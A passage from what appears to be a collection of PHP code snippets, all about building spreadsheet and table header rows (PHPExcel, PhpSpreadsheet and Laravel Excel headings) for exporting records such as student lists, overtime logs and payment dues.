\"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"L\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"พื้นที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"วุฒิการศึกษา/\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"อัตรา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ประจำตัว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"เพศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"เกิด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"บรรจุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"หมวด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"ชื่อตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"ชั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"ส่วนกลาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"ปฏิบัติงาน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"ประกาศนียบัตร\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"เงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"ปีที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\t\t$worksheet->write($xlsRow, 21, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 1, \"$ORG_TITLE\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"เขต/แขวง/ศูนย์\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"ประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 15, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 16, \"/ภูมิภาค\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 17, \"(จังหวัด)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 18, \"เฉพาะทาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 19, \"ปัจจุบัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 20, \"เกษียณ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "public function report_data_college()\n{\n\n$user = $this->Muser->report_data_college();\n\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','I') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIM')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'JURUSAN')\n->setCellValue('E1', 'ANGKATAN')\n->setCellValue('F1', 'EMAIL')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'NO TELEPON')\n->setCellValue('I1', 'STATUS')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nim)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->prodi)\n->setCellValue('E'.$i, $data->generation)\n->setCellValue('F'.$i, $data->email)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->no_telp)\n->setCellValue('i'.$i, $data->status_user)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data Mahasiswa '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data Mahasiswa.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "public function headings(): array\n {\n return [\n 'Part Number',\n 'Description',\n 'Quantity',\n 'Date Received',\n// 'Month',\n// 'Year',\n 'Invoice Number',\n 'Vendor',\n 'Unit Price',\n 'Total Price',\n 'Location',\n 'Received By',\n ];\n }", "public static function excelPlansAndProjectsHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Region',\n 'Industry',\n ];\n }", "public function headings(): array\n {\n return [\n 'Name',\n 'Department',\n 'OT Date',\n 'Shift',\n 'From',\n 'To',\n 'Total Hrs',\n 'Job Content',\n 'Results',\n 'Supervisor',\n 'Manager',\n 'Date Created',\n 'Last Update'\n ];\n }", "public function headings(): array\n {\n return [\n 'Name',\n 'Developer Name',\n 'Status',\n 'Description',\n 'Created At',\n ];\n }", "public function headingRow(): int\n {\n return 1;\n }", "function styleHeaderExcel()\n{\n $styleHeader = array(\n 'font' => array(\n 'size' => 16,\n 'name' => 'Calibri',\n ), 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER,\n ), 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_GRADIENT_LINEAR,\n 'rotation' => 90,\n 'startcolor' => array(\n 'argb' => 'B5B5B5',\n ), 'endcolor' => array(\n 'argb' => 'E0E0E0',\n ),\n ),\n );\n return $styleHeader;\n}", "public function headings(): array\n\t{\n\t\treturn [\n\t\t\t\t'No',\n\t\t\t\t'Title',\n\t\t\t\t'Price',\n\t\t\t\t'Category',\n\t\t\t\t'Type',\n\t\t\t\t'Post By',\n\t\t\t\t'Province',\n\t\t\t\t'District',\n\t\t\t\t'Commune',\n\t\t\t\t'views',\n\t\t\t\t'Status'\n\t\t];\n }", "private function headings() {\n\t\t$this->section_data['general_h_tags'] = array(\n\t\t\t'name' \t\t\t\t\t=> 'general_h_tags',\n\t\t\t'label' \t\t\t\t=> __( 'Headings', 'fixedtoc' ),\n\t\t\t'default' \t\t\t=> array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ),\n\t\t\t'type' \t\t\t\t\t=> 'multi_checkbox',\n\t\t\t'choices'\t\t\t\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h1' => 'Heading 1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h2' => 'Heading 2',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h3' => 'Heading 3',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h4' => 'Heading 4',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h5' => 'Heading 5',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h6' => 'Heading 6',\n\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t'des'\t\t\t\t\t\t=> __( 'Check which HTML headings automatically generated table of contents.', 'fixedtoc' )\n\t\t);\n\t}", "public static function wdtSheetsNoHeadingValidation()\n {\n return [\n 'Age-Gen-Educ-Employ',\n 'Employment_timeseries',\n 'Training activity_FoE',\n 'Training activity_TP',\n 'Qual completions',\n // TODO more imports\n ];\n }", "public function headings(): array\n {\n return [\n 'id',\n 'mshp_version_id',\n 'cmr_law_number',\n 'cmr_chapter',\n 'cmr_charge_code_seq',\n 'cmr_charge_code_fingerprintable',\n 'cmr_charge_code_effective_year',\n 'cmr_charge_code_ncic_category',\n 'cmr_charge_code_ncic_modifier',\n 'charge_code',\n 'ncic_mod',\n 'state_mod',\n 'description',\n 'type_class',\n 'dna',\n 'sor',\n 'roc',\n 'case_type',\n 'effective_date',\n ];\n }", "public function horometersExcel(){ \n return Excel::download(new HorometersExport, 'horometros-list-'.date('Y-m-d_H:i:s').'.xlsx');\n }", "public function header($Arr_Labels=false)\n\t{\n\t\t$this->Arr_Labels = $Arr_Labels;\n\n $Int_Column = 0;\n if ($Arr_Labels)\n {\n\t foreach ($Arr_Labels as $Str_Field => $Str_Label)\n\t\t\t{\n $Str_Column = $Str_Label;\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t\t\t\t$Int_Column++;\n\t }\n\t\t}\n\t\telseif (isset($this->Arr_Data[0]))\n\t\t{\n\t foreach ($this->Arr_Data[0] as $Str_Field => $Str_Label)\n\t\t\t{\n\t\t\t\t$Int_Column++;\n $Str_Column = Inflector::humanize($Str_Field);\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t }\n\t\t}\n\n\t\t//Set the worksheet styles.\n $this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->getStartColor()->setRGB('ffffff');\n $this->Obj_Doc->getActiveSheet()->duplicateStyle( $this->Obj_Doc->getActiveSheet()->getStyle('A1'), 'B1:'.$this->Obj_Doc->getActiveSheet()->getHighestColumn().'1');\n\n\t\tfor ($i = 1; $i <= $Int_Column; $i++)\n\t\t{\n $this->Obj_Doc->getActiveSheet()->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setAutoSize(true);\n }\n\n\t\treturn $this;\n\t}", "protected function addheader($filename)\n {\n $excelObject = PHPExcel_IOFactory::load($filename);\n //$excelObject = new PHPExcel();\n $excelObject->getProperties()\n ->setCreator(\"Gemstracker\")\n ->setLastModifiedBy(\"Gemstracker\")\n ->setTitle($this->model->getName());\n\n $activeSheet = $excelObject->getActiveSheet();\n\n $columnHeaders = $this->getColumnHeaders();\n $row = 1;\n\n $exportName = $this->getName();\n\n $i=0;\n $cell = 'A1';\n foreach($columnHeaders as $columnName=>$columnHeader) {\n $column = $this->getColumn($i);\n $cell = $column . $row;\n if (isset($this->data[$exportName]) && isset($this->data[$exportName]['format']) && in_array('formatVariable', $this->data[$exportName]['format'])) {\n $activeSheet->setCellValue($cell, $columnHeader);\n } else {\n $activeSheet->setCellValue($cell, $columnName);\n }\n if ($excelCellSize = $this->model->get($columnName, 'excelCellSize')) {\n $activeSheet->getColumnDimension($column)->setWidth($excelCellSize);\n } else {\n $activeSheet->getColumnDimension($column)->setAutoSize(true);\n }\n $i++;\n }\n\n $activeSheet->getStyle(\"A1:$cell\")->getFont()->setBold(true);\n\n $objWriter = PHPExcel_IOFactory::createWriter($excelObject, \"Excel2007\");\n $objWriter->save($filename);\n }", "private function createFileHeadings() {\n\t\t// Allow other plugins to add their own column headers\n\t\t$headings = elgg_trigger_plugin_hook('row:headers', 'userexport', array(), $this->fields);\n\n\t\t// Attempt to translate the fields\n\t\tforeach ($headings as $key => $field) {\n\t\t\t$lang_string = \"profile:{$field}\";\n\t\t\t$heading = elgg_echo($lang_string);\n\n\t\t\t// No translation was found, fall back to the original string\n\t\t\tif ($heading === $lang_string) {\n\t\t\t\t$heading = elgg_echo($field);\n\t\t\t}\n\n\t\t\t$headings[$key] = $heading;\n\t\t}\n\n\t\t$this->writeToCSV($headings);\n\t}", "public static function excelDivisionsHeadings()\n {\n return [\n 'Divisions',\n 'Sub-Divisions',\n ];\n }", "public static function get_question_table_headers() {\n\n $headerdata = array();\n $headerdata[] = get_string('qnumber', 'mod_simplelesson');\n $headerdata[] = get_string('question_name', 'mod_simplelesson');\n $headerdata[] = get_string('question_text', 'mod_simplelesson');\n $headerdata[] = get_string('questionscore', 'mod_simplelesson');\n $headerdata[] = get_string('pagetitle', 'mod_simplelesson');\n $headerdata[] = get_string('setpage', 'mod_simplelesson');\n $headerdata[] = get_string('qlinkheader', 'mod_simplelesson');\n\n return $headerdata;\n }", "public function getHeading(): string;", "public function headings(): array\n {\n return [\n '#ID',\n 'APELLIDO',\n 'NOMBRE',\n 'EMAIL',\n 'ROLE',\n 'PERMISOS ADICIONALES',\n 'FECHA DE CREACIÓN',\n ];\n }", "function experiences_columns_head($defaults) {\n $defaults['experience_order'] = 'Order';\n $defaults['featured_image'] = 'Featured Image';\n $defaults['experience_size'] = 'Size';\n $defaults['experience_link'] = 'Link';\n return $defaults;\n}", "public function get()\r\n\t{\r\n\t\t$objPHPExcel = new PHPExcel();\r\n\r\n\t\t$worksheet = $objPHPExcel->createSheet(0);\r\n\r\n\t for ($cell='A'; $cell <= 'G'; $cell++)\r\n\t {\r\n\t $worksheet->getStyle($cell.'1')->getFont()->setBold(true);\r\n\t }\r\n\r\n\t $worksheet->getStyle('A1:G1')->applyFromArray(\r\n\t \tarray(\r\n\t\t 'alignment' => array(\r\n\t\t 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\r\n\t\t ),\r\n\t\t 'borders' => array(\r\n\t\t 'allborders' => array(\r\n\t\t 'style' => PHPExcel_Style_Border::BORDER_THIN,\r\n\t\t 'color' => array('rgb' => '000000')\r\n\t\t )\r\n\t\t ),\r\n\t\t 'fill' => array(\r\n\t\t 'type' => PHPExcel_Style_Fill::FILL_SOLID,\r\n\t\t 'color' => array('rgb' => 'F2F2F2')\r\n\t\t )\r\n\t \t)\r\n\t );\r\n\r\n\t\t// Header dokumen\r\n\t\t $worksheet->setCellValue('A1', 'NO.')\r\n\t\t \t\t ->setCellValue('B1', 'Kode MK')\r\n\t\t \t\t ->setCellValue('C1', 'Mata Kuliah')\r\n\t\t \t\t ->setCellValue('D1', 'Mata Kuliah (Asing)')\r\n\t\t \t\t ->setCellValue('E1', 'Jumlah SKS')\r\n\t\t \t\t ->setCellValue('F1', 'Semester')\r\n\t\t \t\t ->setCellValue('G1', 'Konsentrasi');\r\n\r\n\t\t$this->db->join('concentration', 'course.concentration_id = concentration.concentration_id', 'left');\r\n\t\t$row_cell = 2;\r\n\t\tforeach($this->db->get('course')->result() as $key => $value)\r\n\t\t{\r\n\t\t\t $worksheet->setCellValue('A'.$row_cell, ++$key)\r\n\t\t\t \t\t ->setCellValue('B'.$row_cell, $value->course_code)\r\n\t\t\t \t\t ->setCellValue('C'.$row_cell, $value->course_name)\r\n\t\t\t \t\t ->setCellValue('D'.$row_cell, $value->course_name_english)\r\n\t\t\t \t\t ->setCellValue('E'.$row_cell, $value->sks)\r\n\t\t\t \t\t ->setCellValue('F'.$row_cell, ucfirst($value->semester))\r\n\t\t\t \t\t ->setCellValue('G'.$row_cell, $value->concentration_name);\r\n\t\t\t$row_cell++;\r\n\t\t}\r\n\r\n\t\t// Sheet Title\r\n\t\t$worksheet->setTitle(\"DATA MATA KULIAH\");\r\n\r\n\t\t$objPHPExcel->setActiveSheetIndex(0);\r\n\r\n $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\r\n header(\"Last-Modified: \" . gmdate(\"D, d M Y H:i:s\") . \" GMT\");\r\n header(\"Cache-Control: no-store, no-cache, must-revalidate\");\r\n header(\"Cache-Control: post-check=0, pre-check=0\", false);\r\n header(\"Pragma: no-cache\");\r\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\\\r\n header('Content-Disposition: attachment; filename=\"DATA-MATA-KULIAH.xlsx\"');\r\n $objWriter->save(\"php://output\");\r\n\t}", "public function headings():array\n {\n\t\tif(Auth::user()->role_id == 1 || Auth::user()->role_id == 14)\n\t\t{\n\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t ];\n\t\t\t}else{\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t'Organization Name',\n\t\t\t\t\t'Company Name',\n\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t'Person Name',\n\t\t\t\t\t'Sector',\n\t\t\t\t\t'Designation',\n\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t'Address',\n\t\t\t\t\t'State',\n\t\t\t\t\t'City',\n\t\t\t\t\t'Pincode',\n\t\t\t\t\t'Due ID',\n\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t'DueNote',\n\t\t\t\t\t'Email',\n\t\t\t\t\t'Grace Period',\n\t\t\t\t\t'Custom ID',\n\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t'Proof of Due',\n\t\t\t\t ];\n\t\t\t}\n\t\t}\n\n\t\t\t else {\n\n\t\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t\t ];\n\t\t\t\t}else{\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t ];\n\n\t\t\t\t}\n\n\t\t\t }\n }", "function Table_Headers($header,$w)\r\n{\r\n //Colors, line width and bold font\r\n $this->SetFillColor(153,153,153);\r\n $this->SetTextColor(0);\r\n $this->SetDrawColor(128,0,0);\r\n $this->SetLineWidth(.3);\r\n $this->SetFont('Arial','B','7');\r\n\t\r\n //Header\r\n\t\r\n\t//Output table header\r\n for($i=0;$i<count($header);$i++)\r\n $this->Cell($w[$i],5,$header[$i],1,0,'C',1);\r\n $this->Ln();\r\n}", "public function on_export_render_title_row() {\n\n\t\t$export_headers = array(\n\t\t\t'info' => __( 'Google Sheets Info', Forminator::DOMAIN ),\n\t\t);\n\n\t\t$quiz_id = $this->quiz;\n\t\t$quiz_settings_instance = $this->quiz_settings_instance;\n\n\t\t/**\n\t\t * Filter Google Sheets headers on export file\n\t\t *\n\t\t * @since 1.6.2\n\t\t *\n\t\t * @param array $export_headers headers to be displayed on export file\n\t\t * @param int $quiz_id current Quiz ID\n\t\t * @param Forminator_Addon_Googlesheet_Quiz_Settings $quiz_settings_instance Google Sheets Addon Quiz Settings instance\n\t\t */\n\t\t$export_headers = apply_filters(\n\t\t\t'forminator_addon_quiz_googlesheet_export_headers',\n\t\t\t$export_headers,\n\t\t\t$quiz_id,\n\t\t\t$quiz_settings_instance\n\t\t);\n\n\t\treturn $export_headers;\n\t}", "public function headings(): array\n {\n return [\n 'id',\n 'name',\n 'email',\n 'active',\n 'roles', /*,\n 'email_verified_at',\n 'password',\n 'remember_token',*/\n ];\n }", "public function report_data_user($kode_role)\n{\nif($kode_role != 'ALL'){\n$user = $this->Muser->report_data_userbyrole($kode_role);\n}else{\n$user = $this->Muser->report_data_user();\n}\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','H') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIDN')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'EMAIL')\n->setCellValue('E1', 'PRODI')\n->setCellValue('F1', 'NO TELEPON')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'HAK AKSES')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, 